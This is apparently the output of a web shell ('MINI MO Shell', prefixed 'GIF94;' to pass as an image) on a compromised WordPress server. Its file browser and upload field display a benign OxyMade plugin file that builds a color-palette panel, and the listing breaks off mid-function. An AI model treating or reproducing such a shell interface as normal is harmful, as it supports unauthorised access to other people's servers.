GIF94; MINI MO Shell - Tarih Gösterimli

MINI MINI MANI MO - TARİH GÖSTERİMLİ

Path : /var/www/wordpress/wp-content/plugins/oxymade/assets/js/modules/
File Upload :
Current File : /var/www/wordpress/wp-content/plugins/oxymade/assets/js/modules/color-panel.js

/**
 * Color Panel Module
 * Provides color panel functionality for OxyMade
 */

window.OxyMade = window.OxyMade || {};

window.OxyMade.ColorPanel = {
    // Helper function to safely call spectrum methods
    safeSpectrum(element, method, ...args) {
        const $ = window.parent.jQuery || window.jQuery;
        if (!$ || !$.fn.spectrum) {
            console.warn('Spectrum not loaded, skipping spectrum call');
            return null;
        }
        return element.spectrum(method, ...args);
    },

    // Sync CSS variables from iframe (where CSS is loaded) to parent window
    syncCSSVariablesToParent() {
        const iframeStyles = getComputedStyle(document.documentElement);
        const parentRoot = window.parent.document.documentElement;

        // Define all the CSS variables we need to sync
        const colorGroups = ['primary', 'secondary', 'tertiary', 'accent', 'neutral'];
        const shades = ['bg', 'surface', 'subtle', 'border', 'muted', 'base', 'hover', 'text', 'active', 'heading', 'dark'];
        const alphaValues = [10, 20, 30, 40, 50, 60, 70, 80, 90];

        // Sync color shades
        colorGroups.forEach(color => {
            // Sync base color and RGB
            const baseVar = `--base-${color}`;
            const baseValue = iframeStyles.getPropertyValue(baseVar).trim();
            if (baseValue) {
                parentRoot.style.setProperty(baseVar, baseValue);
            }

            const rgbVar = `--${color}-rgb`;
            const rgbValue = iframeStyles.getPropertyValue(rgbVar).trim();
            if (rgbValue) {
                parentRoot.style.setProperty(rgbVar, rgbValue);
            }

            // Sync all shades
            shades.forEach(shade => {
                const varName = `--${shade}-${color}`;
                const value = iframeStyles.getPropertyValue(varName).trim();
                if (value) {
                    parentRoot.style.setProperty(varName, value);
                }
            });

            // Sync alpha values
            alphaValues.forEach(alpha => {
                const varName = `--${color}-${alpha}`;
                const value = iframeStyles.getPropertyValue(varName).trim();
                if (value) {
                    parentRoot.style.setProperty(varName, value);
                }
            });
        });

        // Sync base-white and base-black
        ['base-white', 'base-black'].forEach(color => {
            const varName = `--${color}`;
            const value = iframeStyles.getPropertyValue(varName).trim();
            if (value) {
                parentRoot.style.setProperty(varName, value);
            }
        });

        // Sync white and black RGB
        ['white-rgb', 'black-rgb'].forEach(varName => {
            const fullVar = `--${varName}`;
            const value = iframeStyles.getPropertyValue(fullVar).trim();
            if (value) {
                parentRoot.style.setProperty(fullVar, value);
            }
        });

        // Sync white and black alpha values
        ['white', 'black'].forEach(color => {
            alphaValues.forEach(alpha => {
                const varName = `--${color}-${alpha}`;
                const value = iframeStyles.getPropertyValue(varName).trim();
                if (value) {
                    parentRoot.style.setProperty(varName, value);
                }
            });
        });
    },

    // Apply CSS variables to document
    applyCSSVariables(palette) {
        const root = window.parent.document.documentElement;
        Object.keys(palette).forEach(key => {
            // Key already includes -- prefix, so use it directly
            root.style.setProperty(key, palette[key]);
        });
    },

    // Create color panel HTML using the working structure from oxymade.js
    createColorPanelHTML(primaryColor = '#667eea') {
        
        // Define color data structure (same as oxymade.js)
        const colorData = [
            {
                name: 'primary',
                title: 'Primary Color',
                defaultChecked: true
            },
            {
                name: 'secondary',
                title: 'Secondary Color',
                defaultChecked: true
            },
            {
                name: 'tertiary',
                title: 'Tertiary Color',
                defaultChecked: true
            },
            {
                name: 'accent',
                title: 'Accent Color',
                defaultChecked: true
            },
            {
                name: 'neutral',
                title: 'Neutral Color',
                defaultChecked: true
            },
            {
                name: 'base-white',
                title: 'White Color',
                defaultChecked: true,
                isSimpleColor: true
            },
            {
                name: 'base-black',
                title: 'Black Color',
                defaultChecked: true,
                isSimpleColor: true
            }
        ];

        // Define shade data with aliases (same as oxymade.js)
        const shadeData = [
            { shade: 'bg', alias: '50' },
            { shade: 'surface', alias: '100' },
            { shade: 'subtle', alias: '200' },
            { shade: 'border', alias: '300' },
            { shade: 'muted', alias: '400' },
            { shade: 'base', alias: '500' },
            { shade: 'hover', alias: '600' },
            { shade: 'text', alias: '700' },
            { shade: 'active', alias: '800' },
            { shade: 'heading', alias: '900' },
            { shade: 'dark', alias: '950' }
        ];

        // Build the panel HTML (exact structure from oxymade.js)
        let colorPanelHTML = `
            <div class="color-panel-header">
        <h3 style="display: flex; align-items: center; gap: 8px;"><div class="oxymade-icon" style="width: 32px; height: 32px;">
                                <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="none" viewBox="0 0 63 64">
                                    <rect width="62.837" height="63.526" fill="#EE6A5F" rx="12.348" transform="matrix(1 0 0 -1 0 63.527)"/>
                                    <path fill="#fff" d="M28.726 12.038v12.769l-1.893-1.893c-2.366-2.35-6.951-6.878-6.976-6.878-.008 0-.914.897-2.015 1.99l-2 1.991 1.078 1.053c.595.57 2.586 2.513 4.422 4.3 1.844 1.794 3.362 3.288 3.37 3.328.016.041-2.636.066-6.323.066l-6.348-.017-.025 2.783L12 34.312h12.81l-2.31 2.26-4.462 4.406-2.162 2.146 1.958 1.958c1.077 1.077 1.99 1.958 2.04 1.958.04 0 2.056-1.975 4.47-4.39l4.39-4.381-.016 6.609-.008 6.608 2.782.025 2.782.016V38.35l4.39 4.39 4.39 4.39 1.974-2.024 1.974-2.023-2.676-2.627a957 957 0 0 0-4.463-4.366l-1.795-1.737 6.389-.025 6.38-.016v-5.548h-6.323c-3.558 0-6.324-.033-6.324-.074s.343-.391.767-.791c.947-.906 7.996-7.808 8.029-7.866.008-.024-.881-.938-1.983-2.04l-1.999-1.998-4.348 4.349c-2.383 2.382-4.357 4.34-4.382 4.34s-.032-2.847-.016-6.323l.016-6.323-.506-.017c-1.15-.032-5.042-.024-5.042.017"/>
                                </svg>
                            </div> Color Palette Generator</h3>
        <div class="color-panel-close">
            <svg xmlns="https://www.w3.org/2000/svg" viewBox="0 0 320 512">
                <path d="M310.6 361.4c12.5 12.5 12.5 32.75 0 45.25-6.2 6.25-14.4 9.35-22.6 9.35s-16.38-3.125-22.62-9.375L160 301.3 54.63 406.6C48.38 412.9 40.19 416 32 416s-16.37-3.1-22.625-9.4c-12.5-12.5-12.5-32.75 0-45.25l105.4-105.4L9.375 150.6c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L160 210.8l105.4-105.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-105.4 105.4L310.6 361.4z"/>
            </svg>
        </div>
    </div>
    <div class="color-panel-content">
        <div class="color-panel-section">
            <h4 class="oxymade-heading">Primary Color</h4>
            <p class="oxymade-description">Select a primary color to generate a complete color palette.</p>
            
            <div class="oxymade-color-picker-container">
                <div class="oxymade-color-field">
                    <div class="oxymade-color-preview" style="background-color: var(--base-primary)"></div>
                    <input type="text" id="primary-color-picker" class="oxymade-color-input" value="${primaryColor}">
                    <div class="oxymade-color-value">${primaryColor}</div>
                </div>
            </div>

            <!-- Save Status Notification -->
            <div id="oxymade-save-status" class="oxymade-save-status" style="display: none;">
                <svg class="save-icon" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                    <polyline points="20 6 9 17 4 12"></polyline>
                </svg>
                <span class="save-message">Colors saved!</span>
            </div>
        </div>
`;

        // Generate color sections dynamically (same as oxymade.js)
        colorData.forEach(color => {
            if (color.isSimpleColor) {
                // For white and black, just show a simple color picker without shades
                colorPanelHTML += `
                    <div class="color-panel-section" data-color="${color.name}">
                        <div class="color-section-header" data-color="${color.name}">
                            <p class="color-title">${color.title}</p>
                            <div class="color-swatch-preview color-main-preview" data-color="${color.name}" style="background-color: var(--${color.name});"></div>
                        </div>
                    </div>
                `;
            } else {
                // For regular colors, show the accordion with all shades
                colorPanelHTML += `
                    <div class="color-panel-section" data-color="${color.name}">
                        <div class="color-section-header" data-color="${color.name}">
                            <p class="color-title">${color.title}</p>
                            <div class="color-swatch-preview color-main-preview" data-color="${color.name}" style="background-color: var(--base-${color.name});"></div>
                        </div>
                        <div class="color-section-content" data-color="${color.name}">
                `;

                // Generate shades for each color
                shadeData.forEach(shade => {
                    colorPanelHTML += `
                        <div class="color-swatch" data-color="${color.name}" data-shade="${shade.shade}">
                            <div class="color-swatch-preview" style="background-color: var(--${shade.shade}-${color.name});"></div>
                            <div class="color-swatch-label">
                                <span class="shade-name">${shade.shade}</span>
                            </div>
                            <input type="text" class="shade-color-picker oxymade-color-input" data-color="${color.name}" data-shade="${shade.shade}">
                        </div>
                    `;
                });

                colorPanelHTML += `
                        </div>
                    </div>
                `;
            }
        });

        // Add close button at the bottom
        colorPanelHTML += `
            </div>
            <div class="color-panel-footer">
                <div class="color-panel-actions">
                    <button id="cancel-palette" class="oxymade-button oxymade-button-secondary">
                        <svg xmlns="https://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                            <line x1="18" y1="6" x2="6" y2="18"></line>
                            <line x1="6" y1="6" x2="18" y2="18"></line>
                        </svg>
                        Close
                    </button>
                </div>
            </div>
        `;

        return colorPanelHTML;
    },

    // Initialize color panel (based on oxymade.js structure)
    init() {

        // Check if we're in Oxygen builder iframe
        if (!window.location.search.includes('breakdance_iframe=true')) {
            return;
        }

        // Check if panel already exists
        if (window.parent.document.getElementById('color-panel-slider')) {
            return;
        }

        // First, sync CSS variables from iframe to parent window
        this.syncCSSVariablesToParent();

        // Get computed primary color from iframe (where the CSS is loaded)
        const computedPrimaryColor = getComputedStyle(document.documentElement)
            .getPropertyValue('--base-primary').trim() || '#3b82f6'; // Default blue if not set

        // Create panel element (exact structure from oxymade.js)
        const panelElement = window.parent.document.createElement('div');
        panelElement.id = 'color-panel-slider';
        panelElement.className = 'color-panel-slider';
        panelElement.innerHTML = this.createColorPanelHTML(computedPrimaryColor);
        
        // Safely set panel visibility in localStorage
        try {
            if (window.parent.localStorage) {
                window.parent.localStorage.setItem('oxymade_panel_visible', 'false');
            }
        } catch (e) {
            // Silently fail if localStorage is not available
        }

        // Append panel to the parent window
        window.parent.document.body.appendChild(panelElement);
        
        // Load jQuery first, then load saved palette
        this.ensureJQueryLoaded(() => {
            // Load saved palette from database first
            this.loadSavedPalette((paletteLoaded) => {
                if (!paletteLoaded) {
                    // Only generate initial color palette if no saved data was found
                    this.updatePalette(computedPrimaryColor);
                }
            });
        });

        // Load external CSS file
        if (!window.parent.document.getElementById('oxymade-external-css')) {
            const linkElement = window.parent.document.createElement('link');
            linkElement.id = 'oxymade-external-css';
            linkElement.rel = 'stylesheet';
            linkElement.href = oxymadeSettings.pluginUrl + '/assets/css/oxymade.css';
            linkElement.type = 'text/css';
            window.parent.document.head.appendChild(linkElement);
        }

        // CSS is now loaded from external oxymade.css file
        
        // Inject spectrum picker styling for horizontal layout
        if (!window.parent.document.getElementById('oxymade-spectrum-css')) {
            const spectrumCSS = `
                .oxymade-spectrum-container .sp-container {
                    width: 350px !important;
                    min-width: 350px !important;
                }
                .oxymade-spectrum-container .sp-palette {
                    width: 300px !important;
                    height: 200px !important;
                }
                .oxymade-spectrum-container .sp-palette-row {
                    display: flex !important;
                    flex-direction: row !important;
                    flex-wrap: wrap !important;
                }
                .oxymade-spectrum-container .sp-palette-button {
                    width: 20px !important;
                    height: 20px !important;
                    margin: 2px !important;
                }
                .oxymade-spectrum-container .sp-spectrum {
                    width: 200px !important;
                    height: 150px !important;
                }
            `;
            const style = window.parent.document.createElement('style');
            style.id = 'oxymade-spectrum-css';
            style.textContent = spectrumCSS;
            window.parent.document.head.appendChild(style);
        }
        
        // Add event listeners (same as oxymade.js)
        const panel = window.parent.document.getElementById('color-panel-slider');
        
        const closeBtn = panel.querySelector('.color-panel-close');
        const colorInput = panel.querySelector('#primary-color-picker');
        
        // Close button
        closeBtn.addEventListener('click', () => {
            panel.style.right = '-350px';
        });
        
        // Color picker
        colorInput.addEventListener('input', (e) => {
            const newColor = e.target.value;
            this.updatePalette(newColor);
        });
        
        // Toggle color sections - header click should toggle shades
        const colorSectionHeaders = panel.querySelectorAll('.color-section-header');
        colorSectionHeaders.forEach(header => {
            // Header click should toggle shades
            header.addEventListener('click', (e) => {
                // Don't toggle if clicking on the color preview
                if (e.target.closest('.color-swatch-preview')) {
                    return;
                }
                
                const colorName = header.dataset.color;
                const content = panel.querySelector(`.color-section-content[data-color="${colorName}"]`);
                if (content) {
                    content.classList.toggle('show');
                    header.classList.toggle('expanded');
                }
            });
        });
        
        // Color field click should open color picker (matching breakmade.js approach)
        const colorFields = panel.querySelectorAll('.oxymade-color-field');
        colorFields.forEach(colorField => {
            colorField.addEventListener('click', (e) => {
                e.stopPropagation();
                const colorInput = colorField.querySelector('.oxymade-color-input');
                if (colorInput) {
                    // Trigger spectrum picker if available
                    if (window.parent.jQuery && window.parent.jQuery.fn.spectrum) {
                        const $ = window.parent.jQuery;
                        const $colorInput = $(colorInput);
                        
                        // Check if picker is already open
                        const isOpen = this.safeSpectrum($colorInput, 'get') !== null && $('.sp-container').is(':visible');

                        if (isOpen) {
                            // Close the picker
                            this.safeSpectrum($colorInput, 'hide');
                        } else {
                            // Store click position for positioning
                            window.lastClickPosition = { x: e.pageX, y: e.pageY };

                            // Show the picker
                            this.safeSpectrum($colorInput, 'show');
                        }
                    }
                }
            });
        });
        
        // Add clipboard functionality to color swatches
        // Initialize color pickers
        this.initializeColorPickers(panel);
        
        // Initialize cancel button
        this.initializeCancelButton(panel);
        
    },

    // Update palette when primary color changes
    updatePalette(primaryColor) {
        
        // Check if ColorPalette module is available
        if (!window.OxyMade || !window.OxyMade.ColorPalette) {
            console.error('🎨 OxyMade: ColorPalette module not available');
            return;
        }
        
        const palette = window.OxyMade.ColorPalette.generateColorPalette(primaryColor);
        
        // Apply CSS variables to the document root
        this.applyCSSVariables(palette);
        
        // Update primary color input and preview
        const primaryInput = window.parent.document.querySelector('#primary-color-picker');
        const primaryPreview = window.parent.document.querySelector('.oxymade-color-preview');
        
        if (primaryInput) primaryInput.value = primaryColor;
        if (primaryPreview) primaryPreview.style.backgroundColor = primaryColor;
        
        // Update all color swatches
        const colorSwatches = window.parent.document.querySelectorAll('.color-swatch-preview');
        colorSwatches.forEach(swatch => {
            const colorName = swatch.closest('[data-color]')?.dataset.color;
            const shadeName = swatch.closest('[data-shade]')?.dataset.shade;
            
            if (colorName && shadeName) {
                const cssVar = `--${shadeName}-${colorName}`;
                const colorValue = palette[cssVar] || palette[`--base-${colorName}`] || primaryColor;
                swatch.style.backgroundColor = colorValue;
                
                // Update corresponding input field
                const input = swatch.closest('.color-swatch')?.querySelector('.shade-color-picker');
                if (input) {
                    input.value = colorValue;
                }
            }
        });
        
    },

    // Initialize color pickers for all color inputs
    initializeColorPickers(panel) {
        // Load jQuery in parent window if needed
        const loadParentJQuery = () => {
            const script = window.parent.document.createElement('script');
            script.src = 'https://code.jquery.com/jquery-3.7.1.min.js';
            script.type = 'text/javascript';
            script.onload = initPickers;
            window.parent.document.head.appendChild(script);
        };

        // Fallback: Load spectrum directly if WordPress enqueue fails
        const loadSpectrumFallback = () => {
            // Load Spectrum CSS
            const cssLink = window.parent.document.createElement('link');
            cssLink.rel = 'stylesheet';
            cssLink.href = window.oxymadeSettings.pluginUrl + 'assets/css/sp.css';
            window.parent.document.head.appendChild(cssLink);
            
            // Load Spectrum JS
            const script = window.parent.document.createElement('script');
            script.src = window.oxymadeSettings.pluginUrl + 'assets/js/spectrum.js';
            script.type = 'text/javascript';
            script.onload = () => {
                initializeSpectrumPickers();
            };
            script.onerror = () => {
                console.error('Failed to load Spectrum JS');
            };
            window.parent.document.head.appendChild(script);
        };

        // Initialize color pickers
        const initPickers = () => {
            if (!window.parent.jQuery) {
                loadParentJQuery();
                return;
            }

            // Check if spectrum is already loaded
            if (window.parent.jQuery.fn.spectrum) {
                initializeSpectrumPickers();
                return;
            }

            // Load spectrum directly via JavaScript (simpler approach)
            loadSpectrumFallback();
        };

        // Initialize spectrum pickers (separated for clarity)
        const initializeSpectrumPickers = () => {
            const $ = window.parent.jQuery;

            // Get the current primary color from the input field
            const currentPrimaryColor = $('#primary-color-picker', window.parent.document).val() || '#3b82f6';

            // Function to update color swatches and main color previews
            const updateColorSwatches = (palette) => {

                Object.keys(palette).forEach(key => {
                    const colorValue = palette[key];
                    // Parse key like "--bg-primary" or "--base-primary"
                    const cleanKey = key.replace(/^--/, '');
                    const parts = cleanKey.split('-');

                    // For keys like "bg-primary", shade is first part, color is second
                    // For keys like "base-primary", shade is "base", color is second
                    if (parts.length >= 2) {
                        const shadeName = parts[0];
                        const colorName = parts.slice(1).join('-'); // Handle multi-part color names like "base-white"

                        // Update individual swatch preview
                        $(`.color-swatch[data-color="${colorName}"][data-shade="${shadeName}"] .color-swatch-preview`, window.parent.document)
                            .css('background-color', colorValue);

                        // Update main color previews (for the base shade of each color)
                        if (shadeName === 'base') {
                            $(`.color-main-preview[data-color="${colorName}"]`, window.parent.document)
                                .css('background-color', colorValue);
                        }
                    }
                });

                // Update all main color previews with their base colors
                const colorGroups = ['primary', 'secondary', 'tertiary', 'accent', 'neutral'];
                colorGroups.forEach(colorName => {
                    const baseColor = palette[`--base-${colorName}`] || palette[`--${colorName}`];
                    if (baseColor) {
                        $(`.color-main-preview[data-color="${colorName}"]`, window.parent.document)
                            .css('background-color', baseColor);
                    }
                });
            };
            
            // Common options for all pickers (exact copy from breakmade.js)
            const commonOptions = {
                type: 'component',
                showInitial: true,
                showPalette: true,
                showPaletteOnly: true,
                togglePaletteOnly: true,
                showInput: true,
                preferredFormat: 'hex',
                palette: [
                    ['#F9FAFB', '#F3F4F6', '#E5E7EB', '#D1D5DB', '#9CA3AF', '#6B7280', '#4B5563', '#374151', '#1F2937', '#111827'],
                    ['#FAFAFA', '#F5F5F5', '#E5E5E5', '#D4D4D4', '#A3A3A3', '#737373', '#525252', '#404040', '#262626', '#171717'],
                    ['#FEF2F2', '#FEE2E2', '#FECACA', '#FCA5A5', '#F87171', '#EF4444', '#DC2626', '#B91C1C', '#991B1B', '#7F1D1D'],
                    ['#FFFBEB', '#FEF3C7', '#FDE68A', '#FCD34D', '#FBBF24', '#F59E0B', '#D97706', '#B45309', '#92400E', '#78350F'],
                    ['#F0FDF4', '#DCFCE7', '#BBF7D0', '#86EFAC', '#4ADE80', '#22C55E', '#16A34A', '#15803D', '#166534', '#14532D'],
                    ['#F0FDFA', '#CCFBF1', '#99F6E4', '#5EEAD4', '#2DD4BF', '#14B8A6', '#0D9488', '#0F766E', '#115E59', '#134E4A'],
                    ['#F0F9FF', '#E0F2FE', '#BAE6FD', '#7DD3FC', '#38BDF8', '#0EA5E9', '#0284C7', '#0369A1', '#075985', '#0C4A6E'],
                    ['#EFF6FF', '#DBEAFE', '#BFDBFE', '#93C5FD', '#60A5FA', '#3B82F6', '#2563EB', '#1D4ED8', '#1E40AF', '#1E3A8A'],
                    ['#EEF2FF', '#E0E7FF', '#C7D2FE', '#A5B4FC', '#818CF8', '#6366F1', '#4F46E5', '#4338CA', '#3730A3', '#312E81'],
                    ['#F5F3FF', '#EDE9FE', '#DDD6FE', '#C4B5FD', '#A78BFA', '#8B5CF6', '#7C3AED', '#6D28D9', '#5B21B6', '#4C1D95'],
                    ['#FDF2F8', '#FCE7F3', '#FBCFE8', '#F9A8D4', '#F472B6', '#EC4899', '#DB2777', '#BE185D', '#9D174D', '#831843'],
                    ['#FFF1F2', '#FFE4E6', '#FECDD3', '#FDA4AF', '#FB7185', '#F43F5E', '#E11D48', '#BE123C', '#9F1239', '#881337'],
                    ['#ffffff', '#000000']
                ]
            };

            // Initialize primary color picker (exact copy from breakmade.js)
            const $primaryColorPicker = $('#primary-color-picker', window.parent.document);
            if ($primaryColorPicker.length && $.fn.spectrum) {
                $primaryColorPicker.spectrum({
                    ...commonOptions,
                    color: currentPrimaryColor,
                    showAlpha: false,
                    change: function (color) {
                        const primaryColor = color.toHexString();
                        
                        // Update the main primary color preview directly (not using CSS variable)
                        $(this).closest('.oxymade-color-field').find('.oxymade-color-preview').css('background-color', primaryColor);
                        $(this).closest('.oxymade-color-field').find('.oxymade-color-value').text(primaryColor);

                        // Generate and apply palette automatically
                        if (!window.OxyMade || !window.OxyMade.ColorPalette) {
                            console.warn('🎨 OxyMade: ColorPalette module not available, waiting...');
                            // Wait for ColorPalette module to load
                            setTimeout(() => {
                                if (window.OxyMade && window.OxyMade.ColorPalette) {
                                    const palette = window.OxyMade.ColorPalette.generateColorPalette(primaryColor);
                                    
                                    // Apply palette
                                    Object.keys(palette).forEach(key => {
                                        const cssVarName = key.startsWith('--') ? key : `--${key}`;
                                        window.parent.document.documentElement.style.setProperty(cssVarName, palette[key]);
                                        updateBreakdanceVariables(key, palette[key], window.parent);
                                    });
                                    
                                    // Update color swatches
                                    updateColorSwatches(palette);
                                    updateIframeColors(palette);
                                } else {
                                    console.error('🎨 OxyMade: ColorPalette module still not available after timeout');
                                }
                            }, 500);
                            return;
                        }
                        
                        const palette = window.OxyMade.ColorPalette.generateColorPalette(primaryColor);

                        // Apply to CSS variables in parent window
                        Object.keys(palette).forEach(key => {
                            const cssVarName = key.startsWith('--') ? key : `--${key}`;
                            window.parent.document.documentElement.style.setProperty(cssVarName, palette[key]);

                            // Update Breakdance variables if sync is enabled
                            if (window.OxyMade.ColorPanel.isSyncWithOxygenEnabled()) {
                                updateBreakdanceVariables(key, palette[key], window.parent);
                            }
                        });

                        // Update color swatches
                        updateColorSwatches(palette);

                        // Update the main color preview for primary color
                        $(`.color-main-preview[data-color="primary"]`, window.parent.document)
                            .css('background-color', primaryColor);
                        
                        // Update the main color picker for primary color
                        const $primaryMainPicker = $(`.color-main-preview[data-color="primary"]`, window.parent.document);
                        if ($primaryMainPicker.length && $primaryMainPicker.hasClass('sp-replacer')) {
                            $primaryMainPicker.spectrum('set', primaryColor);
                        }

                        updateIframeColors(palette);

                        // Auto-save the palette when primary color changes
                        setTimeout(() => {
                            window.OxyMade.ColorPanel.savePaletteToDatabase(null, true);
                        }, 100);

                        // Close the picker after selection
                        $(this).spectrum('hide');
                    }
                });
            }

            // Initialize the MAIN COLOR PREVIEW pickers first - these will update ALL shades (exact copy from breakmade.js)
            $('.color-main-preview', window.parent.document).each(function () {
                const $this = $(this);
                const colorName = $this.data('color');

                // For neutral color, main shade is 700, for others it's 500
                const mainShade = colorName === 'neutral' ? 'text' : 'base';

                // Get current color from CSS variable
                const currentColor = getComputedStyle(window.parent.document.documentElement)
                    .getPropertyValue(`--${mainShade}-${colorName}`).trim();

                $this.spectrum({
                    ...commonOptions,
                    color: currentColor,
                    showAlpha: false,
                    change: function (color) {
                        const newColor = color.toHexString();

                        // Update CSS variable for the main shade
                        window.parent.document.documentElement.style.setProperty(`--${mainShade}-${colorName}`, newColor);
                        window.parent.document.documentElement.style.setProperty(`--${colorName}`, newColor);

                        // Update main preview background
                        $(`.color-main-preview[data-color="${colorName}"]`, window.parent.document)
                            .css('background-color', newColor);

                        // // Update the swatch for the main shade
                        // $(`.color-swatch[data-color="${colorName}"][data-shade="${mainShade}"] .color-swatch-preview`, window.parent.document)
                        //     .css('background-color', newColor);

                        // Update the spectrum picker for the main shade
                        $(`.shade-color-picker[data-color="${colorName}"][data-shade="${mainShade}"]`, window.parent.document)
                            .spectrum('set', newColor);

                        // Generate all shades based on this new color
                        let shades = {};
                        if (colorName === 'neutral') {
                            shades = window.OxyMade.ColorPalette.generateNeutralShades(newColor, colorName);
                        } else {
                            shades = window.OxyMade.ColorPalette.generateShadesForColor(newColor);
                        }

                        // Apply all shades to CSS variables and update UI
                        Object.keys(shades).forEach(shadeKey => {
                            const shadeColor = shades[shadeKey];
                            // Fix: Use proper CSS variable format with color name prefix
                            const varName = `--${shadeKey}-${colorName}`;

                            // Update CSS variable
                            window.parent.document.documentElement.style.setProperty(varName, shadeColor);

                            // Update swatch preview
                            $(`.color-swatch[data-color="${colorName}"][data-shade="${shadeKey}"] .color-swatch-preview`, window.parent.document)
                                .css('background-color', shadeColor);

                            // Update spectrum picker if it exists
                            const $picker = $(`.shade-color-picker[data-color="${colorName}"][data-shade="${shadeKey}"]`, window.parent.document);
                            if ($picker.length) {
                                $picker.spectrum('set', shadeColor);
                            }
                        });

                        // Update Breakdance variables
                        updateBreakdanceVariables(`${mainShade}-${colorName}`, newColor, window.parent);

                        // If this is the primary color, update the main primary color picker
                        if (colorName === 'primary') {
                            // Update the main primary color picker
                            const $mainPrimaryPicker = $('#primary-color-picker', window.parent.document);
                            if ($mainPrimaryPicker.length) {
                                $mainPrimaryPicker.spectrum('set', newColor);
                            }
                            
                            // Update the main primary color preview
                            $(`.oxymade-color-preview`, window.parent.document)
                                .css('background-color', newColor);
                            
                            // Update the main primary color value display
                            $(`.oxymade-color-value`, window.parent.document)
                                .text(newColor);
                        }

                        // Update iframes with the new shades
                        updateIframeColors(shades);

                        // Update Breakdance variables if sync is enabled
                        if (window.OxyMade.ColorPanel.isSyncWithOxygenEnabled()) {
                            Object.keys(shades).forEach(shadeKey => {
                                const shadeColor = shades[shadeKey];
                                updateBreakdanceVariables(`${shadeKey}-${colorName}`, shadeColor, window.parent);
                            });
                        }

                        // Auto-save the palette when main color changes
                        setTimeout(() => {
                            window.OxyMade.ColorPanel.savePaletteToDatabase(null, true);
                        }, 100);

                        // Close the picker after selection
                        $(this).spectrum('hide');
                    }
                });
            });

            // Initialize the INDIVIDUAL SHADE pickers - these will only update their specific shade (exact copy from breakmade.js)
            $('.shade-color-picker', window.parent.document).each(function () {
                const $this = $(this);
                const colorName = $this.data('color');
                const shade = $this.data('shade');

                // Get current color from CSS variable
                const currentColor = getComputedStyle(window.parent.document.documentElement)
                    .getPropertyValue(`--${shade}-${colorName}`).trim();

                $this.spectrum({
                    ...commonOptions,
                    color: currentColor,
                    showAlpha: false,
                    change: function (color) {
                        const newColor = color.toHexString();

                        // Update CSS variable
                        window.parent.document.documentElement.style.setProperty(`--${shade}-${colorName}`, newColor);

                        // Update swatch preview
                        $(`.color-swatch[data-color="${colorName}"][data-shade="${shade}"] .color-swatch-preview`, window.parent.document)
                            .css('background-color', newColor);

                        // For neutral color, main shade is 700, for others it's 500
                        const mainShade = colorName === 'neutral' ? 'text' : 'base';

                        // If this is the main shade, update the main color preview as well
                        if (shade === mainShade) {
                            // Update base variable too
                            window.parent.document.documentElement.style.setProperty(`--${colorName}`, newColor);

                            // Update main preview
                            $(`.color-main-preview[data-color="${colorName}"]`, window.parent.document)
                                .css('background-color', newColor);

                            // Update the main color picker if it exists
                            const $mainPreview = $(`.color-main-preview[data-color="${colorName}"]`, window.parent.document);
                            if ($mainPreview.length && $mainPreview.hasClass('sp-replacer')) {
                                $mainPreview.spectrum('set', newColor);
                            }

                            // Update section header preview
                            $(`.color-section-header[data-color="${colorName}"] .color-swatch-preview`, window.parent.document)
                                .css('background-color', newColor);
                        }

                        // Update Breakdance variables if sync is enabled
                        if (window.OxyMade.ColorPanel.isSyncWithOxygenEnabled()) {
                            updateBreakdanceVariables(`${shade}-${colorName}`, newColor, window.parent);
                        }

                        // Update iframes with the new color
                        updateIframeColors({ [`--${shade}-${colorName}`]: newColor });

                        // Auto-save the palette when individual shade changes
                        setTimeout(() => {
                            window.OxyMade.ColorPanel.savePaletteToDatabase(null, true);
                        }, 100);

                        // Close the picker after selection
                        $(this).spectrum('hide');
                    }
                });
            });

            // Setup click handlers for color previews (exact copy from breakmade.js)
            $('.color-main-preview', window.parent.document).on('click', function (e) {
                e.stopPropagation(); // Prevent section toggle

                // Open the spectrum picker directly attached to this element (not the shade picker)
                $(this).spectrum('show');
            });


            $('.color-swatch-preview', window.parent.document).on('click', function (e) {
                e.stopPropagation(); // Prevent section toggle
                const colorName = $(this).parent().data('color');
                const shade = $(this).parent().data('shade');

                // Find the relevant color picker and show it
                const $picker = $(`.shade-color-picker[data-color="${colorName}"][data-shade="${shade}"]`, window.parent.document);
                if ($picker.length) {
                    $picker.spectrum('show');
                }
            });

            // Make color preview divs clickable to open the picker (exact copy from breakmade.js)
            $('.oxymade-color-preview, .oxymade-color-value, .oxymade-color-field', window.parent.document).on('click', function () {
                // Find the associated color picker and trigger it
                const colorPicker = $(this).closest('.oxymade-color-field').find('.oxymade-color-input');
                colorPicker.spectrum('show');
                return false;
            });


            
            // Add ESC key functionality to close spectrum pickers
            $(document).on('keydown', function(e) {
                if (e.key === 'Escape' && $('.sp-container').is(':visible')) {
                    $('.sp-container').hide();
                }
            });
        };

        // Function to update Breakdance variables based on the color key (exact copy from breakmade.js)
        function updateBreakdanceVariables(key, value, parentWindow) {
            // Map our CSS variables to Breakdance CSS variables
            const breakdanceVariableMap = {
                'base-primary': '--bde-brand-primary-color',
                'hover-primary': '--bde-brand-primary-color-hover',
                'text-neutral': '--bde-body-text-color',
                'heading-neutral': '--bde-headings-color',
                'bg-neutral': '--bde-background-color',
                'base-secondary': '--bde-brand-secondary-color',
                'base-tertiary': '--bde-brand-tertiary-color',
                'base-accent': '--bde-brand-accent-color'
            };

            // Check if this key has a corresponding Breakdance variable
            if (breakdanceVariableMap[key]) {
                parentWindow.document.documentElement.style.setProperty(
                    breakdanceVariableMap[key],
                    value
                );
            }
        }

        // Function to update iframe colors (exact copy from breakmade.js)
        function updateIframeColors(palette) {
            // First, update the parent window's CSS variables
            Object.keys(palette).forEach(key => {
                const value = palette[key];
                if (value) {
                    // Key already contains -- prefix, don't add another one
                    const cssVarName = key.startsWith('--') ? key : `--${key}`;
                    window.parent.document.documentElement.style.setProperty(cssVarName, value);
                }
            });
            
            // Then find all iframes in the parent window and update them
            const iframes = window.parent.document.querySelectorAll('iframe');

            // Loop through each iframe
            iframes.forEach(iframe => {
                try {
                    // Make sure we have access to the iframe's document
                    if (iframe.contentDocument && iframe.contentWindow) {
                        // For each color variable in our palette
